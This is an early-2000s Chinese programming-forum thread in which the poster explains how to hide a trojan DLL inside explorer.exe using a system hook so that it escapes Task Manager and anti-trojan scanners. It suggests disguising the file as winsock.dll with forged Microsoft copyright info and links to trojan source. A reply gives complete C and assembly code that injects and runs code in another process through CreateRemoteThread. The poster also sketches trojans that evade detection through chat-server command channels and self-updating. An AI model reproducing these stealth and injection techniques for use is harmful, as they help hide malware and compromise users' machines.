CSDN首页 | 新闻聚焦 | 共享软件 | 俱乐部 | 开发文档 | 专家门诊 | 招聘求职 | Linux园地 | 程序员杂志
我要回复 | 我感兴趣 | 打印贴子 | 推荐给朋友 | 关闭窗口
主  题:想学win9x,nt,w2k下进程的深度隐藏吗?来这里吧.......................
作  者:njhhack
所属论坛:Delphi
问题点数:20
回复次数:90
发表时间:2001-6-12 13:09:00
利用windows的一个*.dll御截漏洞,可以实现在win9x,nt,w2k下进程的深度隐藏,按CTRL+ALT+DEL看不到,用终极防线也看不到,这是我的最新发现,想和大家一起讨论,
我已实现了这一功能,源程在http://njhhack.freehomepages.com/source/hideproc.zip
我的oicq:10772919
e-mail:njhhack@21cn.com
homepage:hotsky.363.net


回复贴子:
 回复人:rh(有花须酌酒) (2001-6-12 13:36:00) 得0分
3X!
 回复人:Kingron(戒网中……) (2001-6-12 14:16:00) 得0分
希望大家不要用来干坏事儿~~~~~~~~
我以前也想用注入另外一个进程的方法来实现,但是一直没有做成~~~~~~~~:(,只想对你说:
我对你的敬仰之情如滔滔江水。。。。。。。。。。。
 回复人:Jera(我只穷得剩下分了~~~~~~~~) (2001-6-12 14:50:00) 得0分
高!!实在是高!!!!!!!!
 回复人:gao277(流氓状元) (2001-6-12 14:54:00) 得0分
确实不错
 回复人:njhhack(剑影) (2001-6-12 17:22:00) 得0分
呵呵,各位兄弟,配合我的Delphi源码,讲一下它的工作原理吧,不过大家不要用来做坏事哟,我可是从不黑人的,谁让我是人民教师哟,原理如下:
我编了个启动程序winexec.exe用它来启动install.dll这个安装库,install.dll中有个安装函数用来启动getkey.dll这个执行库,getkey.dll里面有我的木马程序,这个getkey.dll库被挂到explorer.exe的进空间中,然后winexec.exe和install.dll在内存中自动御载,但是getkey.dll仍在内存中运行(这就是*.dll的御载漏洞),因为这时系统中已没有我的winexec.exe存在,所以按CTRL+ALT+DEL查不到有我的进程在运行,这就是进程三级跳.
呵呵,可是,大家知道getkey.dll是如何被挂到explorer.exe这个系统shell进程的地址空间中吗,请听我慢慢道来:
在windows系统中,要进入另一个进程的空间有很多方法,最标准的方法是微软提供的系统级hook功能,大家知道当一个hook放入*.dll中时会成会系统级hook,这是它能收到所以系统中传输的消息,而且若消息是其它进程的线程发出或接收的,那么该*.dll(就是我程序中的install.dll啦)会被强行映射到该进程的地址空间(比如说我的install.dll被映射到explorer.exe的进程空间中),这时install.dll就成了explorer.exe进程的一个调用模块,这时在install.dll用createthread函数创建的线程会成为explorer.exe进程主线程的子线程,这样我们就在explorer.exe的家中暂时有了一块合法的土地,但这只是开始,因为我们的目标是隐藏自已的进程,所以要把winexec.exe在内存中去掉,但这不是我们想要的结果,大家想想,install.dll是由winexec.exe调用的,所以,当winexec.exe死掉后,install.dll也活不成,我们在explorer.exe中占下的一席之地就又没了,那如何办呢,呵呵,听我慢慢讲来:
上面我们说了,当install.dll在explorer.exe中安家后,我们创建的线程就是explorer.exe的子线程,那么由install.dll中调用的*.dll(就是我们程序中的getkey.dll)也会成为explorer.exe的子模块,根据*.dll的特殊性(就是我认为的*.dll的御载漏洞),在install.dll从内存中御掉后,被它调用的getkey.dll还在内存中好好的活着呢,呵呵,微软真是个好宝宝,为我们提供了这么好的驻留内存的机会,我想之所以这样,是因为*.dll不可以成为另一个*.dll的拥有者,只有*.exe才能成为*.dll的拥有者吧,所以explorer.exe就成了getkey.dll的合法拥有者,呵呵,因为explorer.exe是微软的好东东,所以永远在内存中活着,那我们的好战士getkey.dll当然靠着这棵大树也在内存中活的好好的哟,这样我们可爱的getkey.dll就永远安全地在explorer.exe中安了家,呵呵,我们终于可以过河拆桥了,不要说我坏呀,我不要这么做,可不这样的话我的winexec.exe这会被人发现了呀,好可怜哟,这是你在getkey.dll中发出postmessage(findwindow('winexec',nil),wm_destroy,0,0)指令,就会让讨厌的winexec.exe(不对,是可爱的,只不过你的任务完成了,没有了哟,呵呵)从内存中死掉,当然它的好儿子install.dll也会随父而去,但我们可爱的getkey.dll确好好的活在内存中(啊啊,这是为什么呀,gekey.dll的爷爷winexec.exe都死了,它的孙子getkey.dll为何不死呀,呵呵,别忘了哟,getkey.dll的继父explorer.exe很有本事哟,它把它保护的好好的哟,所以死不了的啦),呵呵,明白了吗,这时的内存中已经没有了winexec.exe和install.dll的身影,只有getkey.dll存在,而且是explorer.exe的一个调用模块,当然用CTRL+ALT+DEL只能看到好人explorer.exe,而winexec.exe送给它的坏儿子是看不到了啦,呵呵,如果你用prcview或用spy++,winsight包括各种深度查木马程序(如终极防线)查的话,你只能看到getkey.dll在内存中,但调用者是explorer.exe(这是比尔的好孩子哟,没人怀疑它做坏事吧,呵呵),所以就没人理这个getkey.dll这个坏孩子啦,呵呵,若实在有高手认为它可疑,那好吧,我们加工加工,把getkey.dll的名字改成winsock.dll,然后放在和windows中自带的winsock不同的目录中,呵呵没人怀疑这个文件吧,当然把getkey.dll的版权信息改成是微软的更好啦,呀呀,比尔你不要生气呀,谁叫你这么坏哪,呵呵,我走了..............

 回复人:snake12() (2001-6-12 18:07:00) 得0分
不用 postmessage(findwindow('winexec',nil),wm_destroy,0,0)
用 CreateRemoteProcess 为explorer.exe创建一个 LoadLibrary的进程,将getkey.dll load进去,在getkey.dll的dllmain中,做需要做的事情,然后,如果不调用 freelibrary,那么,getkey.dll就常驻再explorer.exe的内存中了。
这个时候,winexec要退出,或者什么,都可以了。

 回复人:snake12() (2001-6-12 18:12:00) 得0分
哦,写错了。
用 CreateRemoteProcess 为explorer.exe创建一LoadLibrary  线程!!
不是进程. sorry.
 回复人:njhhack(剑影) (2001-6-12 18:14:00) 得0分
CreateRemoteProcess只能用在nt,w2k中,win9x中不能用呀,虽然win9x中可以用registerservices.......隐藏,但用终极防线还是能查的呀,呵呵
 回复人:snake12() (2001-6-12 18:27:00) 得0分
我再分析,优化一下 剑影兄 的流程

winexec.exe 创建 Hook,用install.dll
Hook explorer's 的消息
在hook中,如果发现是explorer.exe,那么{
  //现在在explorer的进程中
  LoadLibrary("getkey.dll");
  创建线程,或者其他的工作.
  //现在,可以UnHook 了.
  //退出winexec和install.dll
}

这样, getkey.dll 就在explorer了. right?

 回复人:njhhack(剑影) (2001-6-12 18:36:00) 得0分
snake12兄说的不错,呵呵,比我写的简单多了,我是怕人家不理解才多写了一点的,可能费话多了吧,不要怪我哟
 回复人:dbpower(大鞭炮) (2001-6-12 19:50:00) 得0分
好厉害哟!我好佩服!!
 回复人:LANDFISH(我要分~~~~~~~~(FAINT)) (2001-6-12 23:06:00) 得0分
请教高手:
    WIN9X中用registerservices是不是将进程注册为服务啊?在NT、2000中是否可以在任务管理器中看到?
 回复人:yypp(彭哥) (2001-6-13 2:35:00) 得0分
to njhhack(剑影) :你网站上的东西都不能下载
 回复人:njhhack(剑影) (2001-6-13 8:30:00) 得0分
to LANDFISH:在win9x中用RegisterServiceProcess可以将一个进程注册为服务进程,这样按CTRL+ALT+DEL调出任务管理器时将看不到他的存在,不过用终极防线还是能看到的,所以没用,在nt,w2k下,这个函数没用,所以只有用CreateRemoteThread将进程隐藏,效果和我的程序差不多,但编程较简单,不过我的程序能通用于win9x,nt,w2k通用性强一点
------------------
to yypp:我用的是www.freehomepages.com提供的免费主机,是美国佬的,可能速度不行吧,有时我也下不了的,大家要是能提供我个稳定的主机,我感激不尽哟,谢了
 回复人:yeqiufeng(叶秋枫) (2001-6-13 10:07:00) 得0分
简直是造福全人类啊

下载一个看看先

@_@
 回复人:zhoutianshu(周田鼠) (2001-6-13 10:18:00) 得0分
为什么要三级跳? winexec创建一个全局钩子,直接让Install.dll到别的进程空间里头,然后让他自己调用LoadLibrary()增加自己的引用技术,winexec退出install.dll也会留在explorer.exe的进程空间里头了.
 回复人:brianchon() (2001-6-13 10:27:00) 得0分
http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml
 回复人:avant(avant) (2001-6-13 10:44:00) 得0分
 回复人:njhhack(剑影) (2001-6-13 11:02:00) 得0分
to zhoutianshu():
说的不错,install.dll调用自已也能驻留,但里面一些没用的内容也在,我不喜欢,呵呵,所以又搞了个干净的getkey.dll,你要喜欢,二级跳也行呀,我也实现过的,呵呵.....
 回复人:kylix2001(还是不知道叫什么好,哎) (2001-6-13 11:21:00) 得0分
njhhack(剑影)老兄:
  我对你的敬仰之情如滔滔江水,连绵不绝,又如黄河泛滥,一发不可收拾。。。。。。。。。。
(以下省略X万字)。不说了,再说要挨臭鸡蛋了。:)
去down下来看看先。


 回复人:kock(荷赫) (2001-6-13 13:01:00) 得0分
公布这种损招作什么.
不好,不好.

 回复人:llshore() (2001-6-13 13:16:00) 得0分
崇拜!
当下来……学习学习
 回复人:verybigbug() (2001-6-13 13:18:00) 得0分
Kao,在挂接DLL的技术中早就用烂了,又不是什么新的东西。
金山的取词就用了这种方案,还有《护花使者》中也是用的
这种挂接技术。用SetWindowsHookEx函数就可以了。
不过,用户还是可以用工具《Dll Show》就可以观察出自己
Explorer中是不是有很怪的DLL就知道了。
然后,强行中止Explorer,再启动新的Explorer,Delete getkey.dll
修改回Regist就可以恢复了。

在 Api的Hook中基本上很多程序用了这种方案。这不是漏洞,是功能!!!!
 回复人:llshore() (2001-6-13 13:23:00) 得0分
5555555555555
我公司的Proxy不许我访问http://njhhack.freehomepages.com/source/hideproc.zip
剑影老大,能否给我邮一份?llshore@ccidnet.com
 回复人:crackx(世界末日) (2001-6-13 13:30:00) 得0分
我也不能下载呀,EMAIL给我一个吧! crackx@china.com
 回复人:zhoutianshu(周田鼠) (2001-6-13 13:36:00) 得0分
to njhhack:不过这样还不能叫进程隐藏,因为根本就没有进程,只是一个DLL.
如果真是能隐藏winexec.exe还不错

to verybigbug:怎么可能有这么变态的用户?
 回复人:darkay(火凤凰) (2001-6-13 14:11:00) 得0分
我用IE也是下载不了,但是交给flashget下载OKl啦!
 回复人:zzy198(小周) (2001-6-13 14:25:00) 得0分
以上诸位的程序我都是过了。好像都不好使。如果可以的话请哪位发个源代码给我!
万分感谢!如果分不够还可以加!
Email:zzy198@163.net
 回复人:flywhc(午夜蓝调) (2001-6-13 16:51:00) 得0分
刚巧前一段我也用过这种方法。
考虑两个问题:
1 是我发现如果不用unhook的话,即使原进程(winexec)已经退出,有时那个dll仍然钩在那里不退出来。(我用的keyboardProc)

2 是explorer.exe可能装载多份,只要在文件夹选项里设置一下就成了。此时在任务列表里就有多个explorer.exe,那么,那个“孙子DLL”应该过继到哪个“父亲”进程里呢?如果进错了,那只要用户关闭“我的电脑”,那这个dll就死了;如果每个进程都贴一份,那我们的黑客程序就要多重运行了。

 回复人:verybigbug() (2001-6-13 21:05:00) 得0分
错!!!explorer.exe不可能装载多份!!
那是多个线程而已!!!通过Ctrl+Alt+Del看到的是因为
他列出来的不是进程表!!!他们的ProcessId是相同的。














不要经常想到作病毒!!!
要为人民服务!!!!!
 回复人:kz(kz) (2001-6-14 10:42:00) 得0分
to njhhack,snake12
这一技术太高了,看来将来得多到Delphi论坛看看:)
不过尚有几问,望释疑
1)挂到explorer.exe后对目录或文件的操作权限怎样,可不可以越过文件操作许可管理?
2)照这么说,突破系统防线是由于向系统任意挂接dll,hook造成的,那这一操作本身有没有安全管理
3)当我dll在explorer.exe中执行时可不可以关闭explorer.exe中的线程--如果可以就可以进一步伪装了:)
 回复人:x7913() (2001-6-14 12:04:00) 得0分
 回复人:x7913() (2001-6-14 12:05:00) 得0分
强烈建议赶快放在另一个下载点
我下N次都不行
 回复人:njhhack(剑影) (2001-6-14 12:14:00) 得0分
to verybigbug():
我很配服老兄的善良,当然我也不会去害人,我只是想让大家知道windows很不安全,给新型木马留有很多创意空间,忘大家提高警惕,同时这一技术包含的很多编程技巧和思想也是值得大家学习的,我本人精通C,但我更喜欢Delphi,我想把Delphi发扬光大,所以只用Delphi举例,学C的朋友不要怪我,实在是Delphi为世之瑰宝
to kz(kz):
1.至于NT下的权限我没试过,还有在NT下能否挂到Explorer下我也没试过,大家帮我试试
2.我想微软把hook技术公开,就是为了实现进程的连接,其它大家帮我试
3.当一个进程闯入其它进程空间后,可以创建和关闭任线程,这是绝对可以的
最近我在想一个问题,就是如果一个木马的客户端和服务端能借能借助一个聊天服务器进行聊天的话,那么在木马的两头都不必开tcp或udp端口,那么防木马程序就难查它了,
还有,如果一个木马能定期到一个ftp服务器上检查它的最新版本并自动下载安装,那么这个木马更聪明了,因为木马的作都可以每天更新它的特征字,木马也能天天自我更新,那么象kv3000这种用特征字扫描木马的防木软件恐怕要哭了,
我在想网络真可怕,好可怕哟,呵呵..................

 回复人:Asus(风月无边) (2001-6-14 12:24:00) 得0分
佩服!
 回复人:njhhack(剑影) (2001-6-14 12:44:00) 得0分
我在以下两个站点放了程序源码大家下了试试:
这是进程隐藏的:
njhhack.top263.net/hidepro.zip
hotsky.363.net/hidepro.zip
这是HOOK教学的源码:
njhhack.top263.net/process.zip
hotsky.363.net/process.zip
这是OICQ远程木马的源程,此程序不能害人,只能学习,使用者后果自负,与作者无关!!!
hotsky.363.net/oicqhack.zip
 回复人:happyzsl(学习) (2001-6-14 12:46:00) 得0分
我这里下载不了,能不能给mail一份给我啊?happyzsl@263.net

谢谢啦
 回复人:njhhack(剑影) (2001-6-14 12:47:00) 得0分
对不起上面网址有错:
这是进程隐藏的:
<a href=http://njhhack.top263.net/hideproc.zip>hideproc.zip</a>
<a href=http://hotsky.363.net/hideproc.zip>hideproc.zip</a>

 回复人:noho(听,钱在说话) (2001-6-14 13:15:00) 得0分

看看singleracer的ProcessHacker
早就实现了这些功能
并且也太容易了
 回复人:noho(听,钱在说话) (2001-6-14 13:19:00) 得0分
看我的C代码
////////// .h file
#ifndef _RUNTHREAD_H_
#define _RUNTHREAD_H_

extern "C" LPBYTE WINAPI GetCreateProcessThreadCodeAddress();
extern "C" DWORD WINAPI GetCreateProcessThreadCodeLength();
extern "C" LPBYTE WINAPI GetLoadDllThreadCodeAddress();
extern "C" DWORD WINAPI GetLoadDllThreadCodeLength();

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable);
BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen);
DWORD GetProcessIDByName(LPCWSTR lpszName);

typedef struct tagRUNTHREAD_PARAMETER
{
    DWORD BaseAddress;
    DWORD FnLoadLibraryA;
    DWORD FnLoadLibraryW;
    DWORD FnGetModuleHandleA;
    DWORD FnGetModuleHandleW;
    DWORD FnGetProcAddress;
    LPVOID lpParameter;
    DWORD Reserve;
}RUNTHREAD_PARAMETER;

#endif

////////// .cpp file
#include "stdafx.h"
#include "RunThread.h"
#include "ProcessInfo.h"

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen)
{
    if(hProcess==NULL)
        return FALSE;
    if(lpThreadProc==NULL)
        return FALSE;
    if(dwCodeLen==0)
        return FALSE;
    DWORD dwOldProtect=0;
    //使lpThreadProc可读
    BOOL b=::VirtualProtect(lpThreadProc,
        dwCodeLen, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    if(!b)
    {
        return FALSE;
    }
    //在目标进程中为线程代码分配可读写执行的内存
    LPBYTE lpDestThreadProc=(LPBYTE)::VirtualAllocEx(hProcess, NULL,
        dwCodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(lpDestThreadProc==NULL)
    {
        ::VirtualProtect(lpThreadProc,
            dwCodeLen, dwOldProtect, &dwOldProtect);
        return FALSE;
    }
    //在目标进程中写入线程代码
    DWORD dwWritten=0;
    b=::WriteProcessMemory(hProcess, lpDestThreadProc, lpThreadProc, dwCodeLen, &dwWritten);
    ::VirtualProtect(lpThreadProc,
        dwCodeLen, dwOldProtect, &dwOldProtect);
    if(!b)
    {
        ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
        return FALSE;
    }
    //在目标进程中为线程参数分配可读写的内存
    RUNTHREAD_PARAMETER * lpRunThreadParameter=(RUNTHREAD_PARAMETER *)::VirtualAllocEx(hProcess, NULL,
        sizeof(RUNTHREAD_PARAMETER), MEM_COMMIT, PAGE_READWRITE);
    if(lpRunThreadParameter==NULL)
    {
        ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
        return FALSE;
    }
    LPBYTE lpDestParameter=NULL;
    if(lpParameter && dwParamLen>0)
    {
        lpDestParameter=(LPBYTE)::VirtualAllocEx(hProcess, NULL,
            dwParamLen, MEM_COMMIT, PAGE_READWRITE);
        if(lpDestParameter==NULL)
        {
            ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
            ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
            return FALSE;
        }
        b=::WriteProcessMemory(hProcess, lpDestParameter, lpParameter, dwParamLen, &dwWritten);
        if(!b)
        {
            ::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
            ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
            ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
            return FALSE;
        }
    }
    RUNTHREAD_PARAMETER rtp;
    rtp.FnGetModuleHandleA=(DWORD)GetModuleHandleA;
    rtp.FnGetModuleHandleW=(DWORD)GetModuleHandleW;
    rtp.FnLoadLibraryA=(DWORD)LoadLibraryA;
    rtp.FnLoadLibraryW=(DWORD)LoadLibraryW;
    rtp.FnGetProcAddress=(DWORD)GetProcAddress;
    rtp.Reserve=0;

/*
// debug
    rtp.lpParameter=lpParameter;
    rtp.BaseAddress=(DWORD)lpThreadProc;
    ((PTHREAD_START_ROUTINE)lpThreadProc)(&rtp);
// debug
*/
    rtp.lpParameter=lpDestParameter;
    rtp.BaseAddress=(DWORD)lpDestThreadProc;

    b=::WriteProcessMemory(hProcess, lpRunThreadParameter, &rtp, sizeof(RUNTHREAD_PARAMETER), &dwWritten);
    if(!b)
    {
        ::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
        ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
        ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
        return FALSE;
    }

    DWORD dwThreadID=0;
    HANDLE hThread=::CreateRemoteThread(hProcess, NULL,
        0, (LPTHREAD_START_ROUTINE)(lpDestThreadProc),
        lpRunThreadParameter, 0, &dwThreadID);

    ::WaitForSingleObject(hThread, INFINITE);
    ::CloseHandle(hThread);
    ::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
    if(lpDestParameter)
        ::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
    ::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
    return (hThread!=NULL);
}

DWORD GetProcessIDByName(LPCWSTR lpszName)
{
    DWORD dwProcessID=0;
    int nLen=lstrlenW(lpszName);
    HMODULE hNtDll = ::GetModuleHandle( _T( "ntdll.dll") );
    if(hNtDll)
    {
        PNtQuerySystemInformation NtQuerySystemInformation= (PNtQuerySystemInformation) GetProcAddress( hNtDll, _T("NtQuerySystemInformation") );
        if(NtQuerySystemInformation)
        {
            BYTE * pBufferBase = (BYTE*)VirtualAlloc (NULL,
                SYSINFO_BUFSIZE,
                MEM_COMMIT,
                PAGE_READWRITE);
            if(pBufferBase)
            {
                if ( NtQuerySystemInformation( 5, pBufferBase, SYSINFO_BUFSIZE, NULL )==0)
                {
                    SYSTEM_PROCESS_INFORMATION* pSysProcess = (SYSTEM_PROCESS_INFORMATION*)pBufferBase;
                    do
                    {
                        // pSysProcess->usName
                        if(::CompareStringW(LOCALE_USER_DEFAULT, NORM_IGNORECASE,
                            lpszName, nLen,
                            pSysProcess->usName.Buffer,
                            pSysProcess->usName.Length/sizeof(WCHAR))==CSTR_EQUAL)
                        {
                            dwProcessID=pSysProcess->dUniqueProcessId;
                            break;
                        }

                        // get the next process information block
                        if ( pSysProcess->dNext != 0 )
                            pSysProcess = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pSysProcess + pSysProcess->dNext);
                        else
                            pSysProcess = NULL;
                        
                    } while ( pSysProcess != NULL );
                }
                ::VirtualFree(pBufferBase, 0, MEM_RELEASE);
            }
        }
    }
    return dwProcessID;
}

///////////// .asm file
    include stdafx.inc
    
RUNTHREAD_PARAMETER        STRUCT
    BaseAddress        DWORD        0
    FnLoadLibraryA        DWORD        0
    FnLoadLibraryW        DWORD        0
    FnGetModuleHandleA    DWORD        0
    FnGetModuleHandleW    DWORD        0
    FnGetProcAddress    DWORD        0
    lpParameter        DWORD        0
    Reserve            DWORD        0
RUNTHREAD_PARAMETER        ENDS
LPRUNTHREAD_PARAMETER        TYPEDEF        PTR RUNTHREAD_PARAMETER

OFF_BASEASSRESS        EQU 0
OFF_LOADLIBRARYA    EQU 4
OFF_LOADLIBRARYW    EQU 8
OFF_GETMODULEHANDLEA    EQU 12
OFF_GETMODULEHANDLEW    EQU 16
OFF_GETPROCADDRESS    EQU 20
OFF_PARAMETER        EQU 24
OFF_RESERVE        EQU 28

CREATE_DEFAULT_ERROR_MODE    EQU 04000000h
;这段代码需要动态定位地址,所以所有的地址都是动态计算出来的,计算方法如下:
;    mov edx, BaseAddress
;    mov ecx, Lib_Kernel32_Name
;    sub ecx, CreateProcessThreadBegin
;    add edx, ecx


.code
; #########################################################################
;    CreateProcess ThreadProc
; #########################################################################
    ZeroMemory PROTO lpAddr : DWORD, cbSize : DWORD

CreateProcessThreadBegin:
CreateProcessThreadProc proc lpParameter:DWORD
    LOCAL BaseAddress : DWORD
    LOCAL FnCreateProcessA : DWORD
    LOCAL ProccessInfo : PROCESS_INFORMATION
    LOCAL Startupinfo : STARTUPINFO
    
;    int 3
    jmp CreateProcessThreadProcEnterPoint
    
Reserve_Data1:
    db 90h, 90h, 90h, 90h
Lib_Kernel32_Name:    
    db "kernel32",0
Reserve_Data2:
    db 0, 90h, 90h, 90h, 90h
Func_CreateProcessA_Name:
    db "CreateProcessA", 0
Reserve_Data3:
    db 0, 90h, 90h, 90h, 90h

CreateProcessThreadProcEnterPoint:
    ;保存寄存器
    push ebx
    push esi
    push edi
    ;得到基地址
    mov ebx, lpParameter
    MOVE BaseAddress, [ebx+OFF_BASEASSRESS]
    
    ;GeModuleHandleA("kernel32")
    mov edx, BaseAddress
    mov ecx, Lib_Kernel32_Name
    sub ecx, CreateProcessThreadBegin
    add edx, ecx
    push edx            ;"kernel32"
    mov ebx, lpParameter
    call DWORD PTR [ebx+OFF_GETMODULEHANDLEA]        ;FnGetModuleHandleA
    .if eax==0
        jmp CreateProcessThreadProcExitPoint
    .endif
    
    ;GetProcAddress(eax, "CreateProcessA")
    mov edx, BaseAddress
    mov ecx, Func_CreateProcessA_Name
    sub ecx, CreateProcessThreadBegin
    add edx, ecx
    push edx            ;"CreateProcessA
    push eax            ;hModule
    mov ebx, lpParameter
    call DWORD PTR [ebx+OFF_GETPROCADDRESS]        ;FnGetProcAddress
    .if eax==0
        jmp CreateProcessThreadProcExitPoint
    .endif
    mov FnCreateProcessA, eax
    
    Invoke ZeroMemory, ADDR Startupinfo, sizeof STARTUPINFO
    mov Startupinfo.cb, sizeof STARTUPINFO
    Invoke ZeroMemory, ADDR ProccessInfo, sizeof PROCESS_INFORMATION
    
    lea eax, ProccessInfo
    push eax
    lea eax, Startupinfo
    push eax
    push 0
    push 0
    mov eax, NORMAL_PRIORITY_CLASS
    or eax, CREATE_DEFAULT_ERROR_MODE
    push eax
    push TRUE
    push NULL
    push NULL
    mov ebx, lpParameter
    push DWORD PTR [ebx+OFF_PARAMETER]        ;lpParameter
    push NULL
    call FnCreateProcessA
CreateProcessThreadProcExitPoint:
    pop edi
    pop esi
    pop ebx
    ret
CreateProcessThreadProc endp

ZeroMemory proc lpAddr : DWORD, cbSize : DWORD
    cld
    xor eax, eax
    mov ecx, cbSize
    mov edi, lpAddr
    rep stosb
    ret
ZeroMemory endp
CreateProcessThreadEnd:

CreateProcessThreadCodeLength equ CreateProcessThreadEnd-CreateProcessThreadBegin

GetCreateProcessThreadCodeAddress proc
    mov eax, CreateProcessThreadBegin
    ret
GetCreateProcessThreadCodeAddress endp

GetCreateProcessThreadCodeLength proc
    mov eax, CreateProcessThreadCodeLength
    ret
GetCreateProcessThreadCodeLength endp


; #########################################################################
;    LoadDll ThreadProc
; #########################################################################

LoadDllThreadBegin:
LoadDllThreadProc proc lpParameter:DWORD
;    int 3
    ;保存寄存器
    push ebx
    push esi
    push edi
    mov ebx, lpParameter
    push [ebx+OFF_PARAMETER]
    call DWORD PTR [ebx+OFF_LOADLIBRARYA]
    pop edi
    pop esi
    pop ebx
    ret
LoadDllThreadProc endp
LoadDllThreadEnd:

LoadDllThreadCodeLength equ LoadDllThreadEnd-LoadDllThreadBegin

GetLoadDllThreadCodeAddress proc
    mov eax, LoadDllThreadBegin
    ret
GetLoadDllThreadCodeAddress endp

GetLoadDllThreadCodeLength proc
    mov eax, LoadDllThreadCodeLength
    ret
GetLoadDllThreadCodeLength endp
end
 回复人:noho(听,钱在说话) (2001-6-14 13:22:00) 得0分
用此方法可以在任意一个进程中加载自己的dll,而不需要什么漏洞
如果利用漏洞的话
当漏洞没有了
这种方法就失效了
 回复人:njhhack(剑影) (2001-6-14 14:03:00) 得0分
to noho(noho):
谢谢老兄,给我提供的这么好的程序源码,我很感激你,不过这里的都是Delphi兄弟,这个c加asm的东东大家看不太明白,有空了我把他翻译成Delphi的,让Delphi兄弟也看看这高技术的好处,呵呵,在下玩汇编时编了一个世界上最小的win9x程序,当然在nt下可以更小,若有高手见了不要骂我弱呀,我本来就是菜鸟,随便玩玩的,不好意思,呵呵 ..........
; ********************************************************************************
; *      The Small portable executable Format Program Information                *
; ********************************************************************************
; *  Author:njhhack      e-mail:njhhack@21cn.com    homepage:hotsky.363.net    *
; *  Created Date:2001.5.6                                                      *
; *  Develop Tools Obtained from  Copyright (C) 1987,1996 Borland International *
; *  Turbo Assembler Version 4.1        : Tasm /m spe                          *
; *  Turbo Link Version 7.1.30.1        : Tlink /3 /t spe, spe.exe              *
; ********************************************************************************

;    +-------------------+
;    ¦ DOS-stub          ¦        50h
;    +-------------------+
;    ¦ file-header      ¦--+      18h     
;    +-------------------+  ¦
;    ¦ optional header  ¦  ¦      60h-----------+
;    +-------------------+  +---Total =1c0h      ¦---Total 0e0h
;    ¦ data directories  ¦  ¦      80h-----------+
;    +-------------------+  ¦
;    ¦ section headers  ¦--+      28h----->Total 0b8h
;    +-------------------+
;    ¦ section 1        ¦        .code Section
;    +-------------------+
;    ¦ section 2        ¦
;    +-------------------+
;    ¦ ...              ¦
;    +-------------------+
;    ¦ section n        ¦
;    +-------------------+

;*****************************************************
;                  DOS Stub
;*****************************************************
                            .286p
DosHeader                  SEGMENT                ;
                            BeginProgram:
DosSignature                db 'MZ'            ;
LastSectorLength            dw 1              ;
FileSize                    dw 2              ;this size include head section,the unit is 512 bytes               
RelocateTableNums          dw 0              ;
HeadSize                    dw 2              ;this size unit is 16 bytes
MinMem                      dw 0              ;
MaxMem                      dw 0ffffh          ;
OffsetSS                    dw 0              ;
OffsetSP                    dw 0b8h            ;
FileCheckSum                dw 0              ;
OffsetIP                    dw 0              ;
OffsetCS                    dw 0              ;
FistRelocateAddress        dw 3eh            ;noused in pe
OverloayNums                dw 0              ;
                            org 20h            ;
;*****************************************************
;                  DOS Proc
;*****************************************************
                            mov dx,offset DOS_MESSAGE+100h-20h          ;
                            mov ah,9          ;
                            int 21h            ;
                            mov ax,4c01h      ;
                            int 21h            ;
DOS_MESSAGE                db  'Run Win2000.',0dh,0ah,07,'$'      ;
                            org 3ch            ;pe sig
PeHeadAddress              db 50h            ;
                            org 50h            ;
DosHeader                  ENDS
;*****************************************************
;                  File Header
;********************************************************
                            .586p
FileHeader                  SEGMENT            ;
WinSignature                dd 4550h          ;PE Format
Machine                    dw 14ch            ;Intel 80386
NumberOfSections            dw 1              ;.code Section
TimeDateStamp              dd 0352068f1h      ;
PointerToSymbolTable        dd 0              ;unused
NumberOfSymbols            dd 0              ;unused
SizeOfOptionalHeader        dw 0e0h            ;constant=optinal header+data Directory
Characteristics            dw 010fh          ;executable on 32-bit-machine
;********************************************************
;                    Optional Header
;********************************************************
Magic                      dw 010bh          ;constant
MajorLinkerVersion          db 5              ;I'm version 0.0 :-)
MinorLinkerVersion          db 2              ;
SizeOfCode                  dd 1000h          ;32 bytes of code;100h
SizeOfInitializedData      dd 0              ;yet to find out;0
SizeOfUninitializedData    dd 0              ;we don't have a BSS;0
AddressOfEntryPoint        dd 1000h          ;yet to find out;1010h
BaseOfCode                  dd 1000h          ;yet to find out;1000h
BaseOfData                  dd 2000h          ;yet to find out;200h
ImageBase                  dd 400000h        ;1 MB, chosen arbitrarily;400000h
SectionAlignment            dd 1000h          ;32-bytes-alignment;100h
;
FileAlignment              dd 20h;200h            ;32-bytes-alignment;200h
;
MajorOperatingSystemVersion dw 4              ;NT 4.0
MinorOperatingSystemVersion dw 0              ;
MajorImageVersion          dw 1              ;version 1.2
MinorImageVersion          dw 2              ;
